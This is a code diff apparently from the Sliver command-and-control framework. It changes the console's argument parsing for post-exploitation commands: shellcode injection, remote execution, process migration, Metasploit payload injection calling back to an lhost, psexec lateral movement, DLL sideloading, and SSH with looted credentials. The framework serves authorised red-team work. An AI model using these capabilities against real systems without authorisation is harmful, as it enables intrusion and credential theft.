 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -176,7 +174,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
 	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
 	con.SpinUntil(msg, ctrl)
 	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
-		Request:  con.ActiveTarget.Request(cmd),
+		Request:  con.ActiveTarget.Request(ctx),
 		Pid:      pid,
 		Data:     shellcode,
 		RWXPages: rwxPages,
@@ -23,38 +23,34 @@ import (
 	"strings"
 	"time"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // ExecuteCmd - Run a command on the remote system
-func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	cmdPath := args[0]
-	args = args[1:]
-
-	token, _ := cmd.Flags().GetBool("token")
-	hidden, _ := cmd.Flags().GetBool("hidden")
-	output, _ := cmd.Flags().GetBool("output")
-	stdout, _ := cmd.Flags().GetString("stdout")
-	stderr, _ := cmd.Flags().GetString("stderr")
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	saveOutput, _ := cmd.Flags().GetBool("save")
-	ppid, _ := cmd.Flags().GetUint32("ppid")
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
+	token := ctx.Flags.Bool("token")
+	output := ctx.Flags.Bool("output")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	ppid := ctx.Flags.Uint("ppid")
 	hostName := getHostname(session, beacon)

 	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
-	captureOutput := output || saveLoot || saveOutput
+	var captureOutput bool = output || saveLoot || saveOutput

 	if output && beacon != nil {
 		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -65,25 +61,20 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str

 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token || hidden || ppid != 0 {
-		if session.OS != "windows" {
-			con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
-			return
-		}
+	if token || ppid != 0 {
 		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
-			Request:    con.ActiveTarget.Request(cmd),
-			Path:       cmdPath,
-			Args:       args,
-			Output:     captureOutput,
-			Stderr:     stderr,
-			Stdout:     stdout,
-			UseToken:   token,
-			HideWindow: hidden,
-			PPid:       ppid,
+			Request:  con.ActiveTarget.Request(ctx),
+			Path:     cmdPath,
+			Args:     args,
+			Output:   captureOutput,
+			Stderr:   stderr,
+			Stdout:   stdout,
+			UseToken: token,
+			PPid:     uint32(ppid),
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 			Path:    cmdPath,
 			Args:    args,
 			Output:  captureOutput,
@@ -105,44 +96,44 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
+			HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(exec.Response)
 	} else {
-		HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
+		HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
 	}
 }

-func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
+func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var lootedOutput []byte
-	stdout, _ := cmd.Flags().GetString("stdout")
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	saveOutput, _ := cmd.Flags().GetBool("save")
-	lootName, _ := cmd.Flags().GetString("name")
-	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
+	stdout := ctx.Flags.String("stdout")
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	lootName := ctx.Flags.String("name")
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")

 	if saveLoot || saveOutput {
 		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
 	}

 	if saveLoot {
-		LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
+		LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
 	}

 	if saveOutput {
-		SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
+		SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
 	}

-	PrintExecute(exec, cmd, con)
+	PrintExecute(exec, ctx, con)
 }

 // PrintExecute - Print the output of an executed command
-func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) {
-	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
-	stdout, _ := cmd.Flags().GetString("stdout")
-	stderr, _ := cmd.Flags().GetString("stderr")
+func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")

-	output, _ := cmd.Flags().GetBool("output")
+	output := ctx.Flags.Bool("output")
 	if !output {
 		if exec.Status == 0 {
 			con.PrintInfof("Command executed successfully\n")
@@ -225,7 +216,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm
 		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
 	}

-	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
+	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
 	loot.SendLootMessage(lootMessage, con)
 }

@@ -23,22 +23,21 @@ import (
 	"fmt"
 	"strings"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )

 // MigrateCmd - Windows only, inject an implant into another process
-func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSession()
 	if session == nil {
 		return
 	}

-	pid, _ := cmd.Flags().GetUint32("pid")
-	procName, _ := cmd.Flags().GetString("process-name")
+	pid := ctx.Flags.Uint("pid")
+	procName := ctx.Flags.String("process-name")
 	if pid == 0 && procName == "" {
 		con.PrintErrorf("Error: Must specify either a PID or process name\n")
 		return
@@ -47,7 +46,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 		procCtrl := make(chan bool)
 		con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
 		proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 		})
 		if err != nil {
 			con.PrintErrorf("Error: %v\n", err)
@@ -56,8 +55,8 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 		procCtrl <- true
 		<-procCtrl
 		for _, p := range proc.GetProcesses() {
-			if strings.EqualFold(p.Executable, procName) {
-				pid = uint32(p.Pid)
+			if strings.ToLower(p.Executable) == strings.ToLower(procName) {
+				pid = uint(p.Pid)
 				break
 			}
 		}
@@ -69,7 +68,7 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 	}
 	config := con.GetActiveSessionConfig()
 	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
-	if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
+	if ctx.Flags.Bool("disable-sgn") {
 		encoder = clientpb.ShellcodeEncoder_NONE
 	}

@@ -77,9 +76,9 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)

 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
-		Pid:     pid,
+		Pid:     uint32(pid),
 		Config:  config,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Encoder: encoder,
 	})
 	ctrl <- true
@@ -22,29 +22,28 @@ import (
 	"context"
 	"fmt"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // MsfInjectCmd - Inject a metasploit payload into a remote process
-func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	payloadName, _ := cmd.Flags().GetString("payload")
-	lhost, _ := cmd.Flags().GetString("lhost")
-	lport, _ := cmd.Flags().GetInt("lport")
-	encoder, _ := cmd.Flags().GetString("encoder")
-	iterations, _ := cmd.Flags().GetInt("iterations")
-	pid, _ := cmd.Flags().GetInt("pid")
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")
+	pid := ctx.Flags.Int("pid")

 	if lhost == "" {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
@@ -69,7 +68,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
 		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
-		Request:    con.ActiveTarget.Request(cmd),
+		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),
@@ -22,27 +22,26 @@ import (
 	"context"
 	"fmt"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
 )

 // MsfCmd - Inject a metasploit payload into the current remote process
-func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	payloadName, _ := cmd.Flags().GetString("payload")
-	lhost, _ := cmd.Flags().GetString("lhost")
-	lport, _ := cmd.Flags().GetInt("lport")
-	encoder, _ := cmd.Flags().GetString("encoder")
-	iterations, _ := cmd.Flags().GetInt("iterations")
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")

 	if lhost == "" {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
@@ -63,7 +62,7 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
-		Request:    con.ActiveTarget.Request(cmd),
+		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
 		LPort:      uint32(lport),
@@ -27,36 +27,36 @@ import (

 	insecureRand "math/rand"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/codenames"
 	"github.com/bishopfox/sliver/util/encoders"
+	"github.com/desertbit/grumble"
 )

 // PsExecCmd - psexec command implementation.
-func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	hostname := args[0]
+	hostname := ctx.Args.String("hostname")
 	if hostname == "" {
 		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
 		return
 	}
 	var serviceBinary []byte
-	profile, _ := cmd.Flags().GetString("profile")
-	serviceName, _ := cmd.Flags().GetString("service-name")
-	serviceDesc, _ := cmd.Flags().GetString("service-description")
-	binPath, _ := cmd.Flags().GetString("binpath")
-	customExe, _ := cmd.Flags().GetString("custom-exe")
-	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))
+	profile := ctx.Flags.String("profile")
+	serviceName := ctx.Flags.String("service-name")
+	serviceDesc := ctx.Flags.String("service-description")
+	binPath := ctx.Flags.String("binpath")
+	customExe := ctx.Flags.String("custom-exe")
+	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))

 	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
 		con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
@@ -105,7 +105,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri

 	filename := randomFileName()
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
-	uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
+	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
 	uploadCtrl := make(chan bool)
 	con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -113,7 +113,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
 		Encoder: "gzip",
 		Data:    uploadGzip,
 		Path:    filePath,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	uploadCtrl <- true
 	<-uploadCtrl
@@ -136,7 +136,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
 	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
 		BinPath:            binaryPath,
 		Hostname:           hostname,
-		Request:            con.ActiveTarget.Request(cmd),
+		Request:            con.ActiveTarget.Request(ctx),
 		ServiceDescription: serviceDesc,
 		ServiceName:        serviceName,
 		Arguments:          "",
@@ -159,7 +159,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
 			Hostname:    hostname,
 			ServiceName: serviceName,
 		},
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	removeChan <- true
 	<-removeChan
@@ -174,17 +174,8 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }

-func randomString() string {
-	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
-	str := ""
-	for index := 0; index < insecureRand.Intn(8)+1; index++ {
-		str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
-	}
-	return str
-}
-
 func randomFileName() string {
-	noun := randomString()
+	noun, _ := codenames.RandomNoun()
 	noun = strings.ToLower(noun)
 	switch insecureRand.Intn(3) {
 	case 0:
@@ -25,51 +25,46 @@ import (
 	"path/filepath"
 	"strings"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // SideloadCmd - Sideload a shared library on the remote system
-func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	binPath := args[0]
-	binArgs := strings.Join(args[1:], " ")
+	binPath := ctx.Args.String("filepath")

-	entryPoint, _ := cmd.Flags().GetString("entry-point")
-	processName, _ := cmd.Flags().GetString("process")
-	keepAlive, _ := cmd.Flags().GetBool("keep-alive")
-	isUnicode, _ := cmd.Flags().GetBool("unicode")
-	pPid, _ := cmd.Flags().GetUint32("ppid")
+	entryPoint := ctx.Flags.String("entry-point")
+	processName := ctx.Flags.String("process")
+	args := strings.Join(ctx.Args.StringList("args"), " ")

 	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
 	}
-	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
+	processArgsStr := ctx.Flags.String("process-arguments")
 	processArgs := strings.Split(processArgsStr, " ")
 	isDLL := (filepath.Ext(binPath) == ".dll")
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
 	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-		Request:     con.ActiveTarget.Request(cmd),
-		Args:        binArgs,
+		Request:     con.ActiveTarget.Request(ctx),
+		Args:        args,
 		Data:        binData,
 		EntryPoint:  entryPoint,
 		ProcessName: processName,
-		Kill:        !keepAlive,
+		Kill:        !ctx.Flags.Bool("keep-alive"),
 		IsDLL:       isDLL,
-		IsUnicode:   isUnicode,
-		PPid:        pPid,
+		IsUnicode:   ctx.Flags.Bool("unicode"),
+		PPid:        uint32(ctx.Flags.Uint("ppid")),
 		ProcessArgs: processArgs,
 	})
 	ctrl <- true
@@ -88,28 +83,26 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
 				return
 			}

-			HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
+			HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(sideload.Response)
 	} else {
-		HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
+		HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
 	}
 }

-func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
+func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")

 	if sideload.GetResponse().GetErr() != "" {
 		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
 		return
 	}

-	save, _ := cmd.Flags().GetBool("save")
-
-	PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)
+	PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)

 	if saveLoot {
-		LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
+		LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }
@@ -24,27 +24,23 @@ import (
 	"os"
 	"strings"

-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // SpawnDllCmd - Spawn execution of a DLL on the remote system
-func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-	binPath := args[0]
-	dllArgs := strings.Join(args[1:], " ")
-
-	processName, _ := cmd.Flags().GetString("process")
-	exportName, _ := cmd.Flags().GetString("export")
-	keepAlive, _ := cmd.Flags().GetBool("keep-alive")
+	dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+	binPath := ctx.Args.String("filepath")
+	processName := ctx.Flags.String("process")
+	exportName := ctx.Flags.String("export")

 	binData, err := os.ReadFile(binPath)
 	if err != nil {
@@ -58,8 +54,8 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
 		ProcessName: processName,
 		Args:        dllArgs,
 		EntryPoint:  exportName,
-		Request:     con.ActiveTarget.Request(cmd),
-		Kill:        !keepAlive,
+		Request:     con.ActiveTarget.Request(ctx),
+		Kill:        !ctx.Flags.Bool("keep-alive"),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -77,28 +73,26 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
 				return
 			}

-			HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
+			HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 		})
 		con.PrintAsyncResponse(spawndll.Response)
 	} else {
-		HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
+		HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
 	}
 }

-func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
-	saveLoot, _ := cmd.Flags().GetBool("loot")
-	lootName, _ := cmd.Flags().GetString("name")
+func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	saveLoot := ctx.Flags.Bool("loot")
+	lootName := ctx.Flags.String("name")

 	if spawndll.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
 		return
 	}

-	save, _ := cmd.Flags().GetBool("save")
-
-	PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)
+	PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)

 	if saveLoot {
-		LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
+		LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
 	}
 }
@@ -24,16 +24,16 @@ import (
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-	"google.golang.org/protobuf/proto"
-
+	"github.com/bishopfox/sliver/client/command/loot"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 // SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
-func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
 		privKey []byte
 		err     error
@@ -43,13 +43,13 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 		return
 	}

-	username, _ := cmd.Flags().GetString("login")
+	username := ctx.Flags.String("login")
 	if username == "" {
 		username = session.GetUsername()
 	}

-	port, _ := cmd.Flags().GetUint("port")
-	privateKeyPath, _ := cmd.Flags().GetString("private-key")
+	port := ctx.Flags.Uint("port")
+	privateKeyPath := ctx.Flags.String("private-key")
 	if privateKeyPath != "" {
 		privKey, err = os.ReadFile(privateKeyPath)
 		if err != nil {
@@ -57,14 +57,13 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 			return
 		}
 	}
-	password, _ := cmd.Flags().GetString("password")
+	password := ctx.Flags.String("password")

-	hostname := args[0]
-	command := args[1:]
-
-	kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
-	kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
-	kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")
+	hostname := ctx.Args.String("hostname")
+	command := ctx.Args.StringList("command")
+	kerberosRealm := ctx.Flags.String("kerberos-realm")
+	kerberosConfig := ctx.Flags.String("kerberos-config")
+	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")

 	if kerberosRealm != "" && kerberosKeytabFile == "" {
 		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
@@ -79,9 +78,7 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 		}
 	}

-	skipLoot, _ := cmd.Flags().GetBool("skip-loot")
-
-	if password == "" && len(privKey) == 0 && !skipLoot {
+	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
 		username, password, privKey = tryCredsFromLoot(con)
 		if username == "" {
@@ -99,7 +96,7 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
 		Realm:    kerberosRealm,
 		Krb5Conf: kerberosConfig,
 		Keytab:   kerberosKeytab,
-		Request:  con.ActiveTarget.Request(cmd),
+		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -149,18 +146,18 @@ func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte)
 	prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
 	survey.AskOne(prompt, &confirm, nil)
 	if confirm {
-		// cred, err := loot.SelectCredentials(con)
-		// if err != nil {
-		// 	con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
-		// } else {
-		// 	switch cred.CredentialType {
-		// 	case clientpb.CredentialType_API_KEY:
-		// 		privKey = []byte(cred.Credential.APIKey)
-		// 	case clientpb.CredentialType_USER_PASSWORD:
-		// 		username = cred.Credential.User
-		// 		password = cred.Credential.Password
-		// 	}
-		// }
+		cred, err := loot.SelectCredentials(con)
+		if err != nil {
+			con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
+		} else {
+			switch cred.CredentialType {
+			case clientpb.CredentialType_API_KEY:
+				privKey = []byte(cred.Credential.APIKey)
+			case clientpb.CredentialType_USER_PASSWORD:
+				username = cred.Credential.User
+				password = cred.Credential.Password
+			}
+		}
 	}
 	return username, password, privKey
 }
@@ -1,55 +0,0 @@
-package exit
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2023  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"os"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/spf13/cobra"
-)
-
-// ExitCmd - Exit the console
-func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	fmt.Println("Exiting...")
-	if con.IsServer {
-		sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			os.Exit(1)
-		}
-		beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			os.Exit(1)
-		}
-		if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) {
-			con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons))
-			confirm := false
-			prompt := &survey.Confirm{Message: "Are you sure you want to exit?"}
-			survey.AskOne(prompt, &confirm)
-			if !confirm {
-				return
-			}
-		}
-	}
-	os.Exit(0)
-}
@@ -21,21 +21,19 @@ package extensions
 import (
 	"encoding/json"
 	"fmt"
-	"os"
+	"io/ioutil"
 	"strings"

-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/jedib0t/go-pretty/v6/text"
-	"github.com/rsteube/carapace"
